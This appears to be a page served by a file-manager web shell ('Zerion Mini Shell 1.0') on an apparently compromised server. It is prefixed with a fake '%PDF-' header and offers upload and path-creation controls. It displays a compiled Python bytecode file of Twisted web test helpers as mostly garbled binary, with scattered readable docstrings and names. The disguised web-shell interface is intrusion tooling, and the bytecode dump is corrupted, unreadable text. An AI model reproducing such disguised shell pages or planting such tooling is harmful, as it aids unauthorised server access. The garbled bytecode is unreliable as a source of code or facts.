%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/lib/python3/dist-packages/twisted/web/test/__pycache__/
Upload File :
Create Path :
Current File : //usr/lib/python3/dist-packages/twisted/web/test/__pycache__/_util.cpython-312.pyc

�

Ϫ�f

���dZddlmZddlmZddlmZmZddlm	Z	ddl
mZddlm
Z
ddlmZdd	lmZdd
lmZddlmZdd
lmZdd�ZGd�de	�Zd�Zgd�Zy)z0
General helpers for L{twisted.web} unit tests.
�)�annotations)�Type)�Deferred�succeed)�SynchronousTestCase)�server)�
flattenString)�FlattenerError)�Request)�	IResource)�Flattenable�)�DummyRequestc�*�|j|�}t|t�r,|j|�|j	�td�S|tjur'|jrtd�S|j�Std|����)NzUnexpected return value: )�render�
isinstance�bytes�write�finishrr�NOT_DONE_YET�finished�notifyFinish�
ValueError)�resource�request�results   �8/usr/lib/python3/dist-packages/twisted/web/test/_util.py�_renderrs}��
�_�_�W�
%�F��&�%� ��
�
�f�������t�}��	�6�&�&�	&�����4�=� ��'�'�)�)��4�V�J�?�@�@�c�(�eZdZdZdd�Zdd�Zdd�Zy)	�FlattenTestCasezH
    A test case that assists with testing L{twisted.web._flatten}.
    c�R���d��fd�}td|�}|j|�|S)zS
        Assert that a root element, when flattened, is equal to a string.
        c�,���j|��|S)N)�assertEqual)r�self�targets ��r�checkz/FlattenTestCase.assertFlattensTo.<locals>.check/s������V�V�,��MrN)rr�returnr)r	�addCallback)r%�rootr&r'�ds` `  r�assertFlattensToz FlattenTestCase.assertFlattensTo*s'���
	�+�4��6��	�
�
�e���rc�D�|j|j||��S)a�
        Assert that a root element, when flattened, is equal to a string, and
        performs no asynchronus Deferred anything.

        This version is more convenient in tests which wish to make multiple
        assertions about flattening, since it can be called multiple times
        without having to add multiple callbacks.

        @return: the result of rendering L{root}, which should be equivalent to
            L{target}.
        @rtype: L{bytes}
        )�successResultOfr,)r%r*r&s   r�assertFlattensImmediatelyz)FlattenTestCase.assertFlattensImmediately7s"���#�#�D�$9�$9�$��$G�H�Hrc��|j|j|d�t�}|j|jj
|�y)zQ
        Assert flattening a root element raises a particular exception.
        rN)�failureResultOfr,r
�assertIsInstance�value�
_exception)r%r*�exn�failures    r�assertFlatteningRaisesz&FlattenTestCase.assertFlatteningRaisesFs=���&�&�t�'<�'<�T�3�'G��X�����g�m�m�6�6��<rN)r*r
r&rr(zDeferred[bytes])r*r
r&rr(r)r*r
r5zType[Exception]r(�None)�__name__�
__module__�__qualname__�__doc__r,r/r7�rrr!r!%s����
I�=rr!c�L�|j|j�t�y)z�
    Assert that C{fileObj} is a temporary file on the filesystem.

    @param case: A C{TestCase} instance to use to make the assertion.

    @raise: C{case.failureException} if C{fileObj} is not a temporary file on
        the filesystem.
    N)r2�fileno�int)�case�fileObjs  r�assertIsFilesystemTemporaryrCNs��	���'�.�.�*�C�0r)rr!rCN)rrrzRequest | DummyRequestr(zDeferred[None])r<�
__future__r�typingr�twisted.internet.deferrr�twisted.trial.unittestr�twisted.webr�twisted.web._flattenr	�twisted.web.errorr
�twisted.web.httpr�twisted.web.resourcer�twisted.web.templater
�
requesthelperrrr!rC�__all__r=rr�<module>rPsN���#��4�6��.�,�$�*�,�'�A�&=�)�&=�R1�"H�r

Zerion Mini Shell 1.0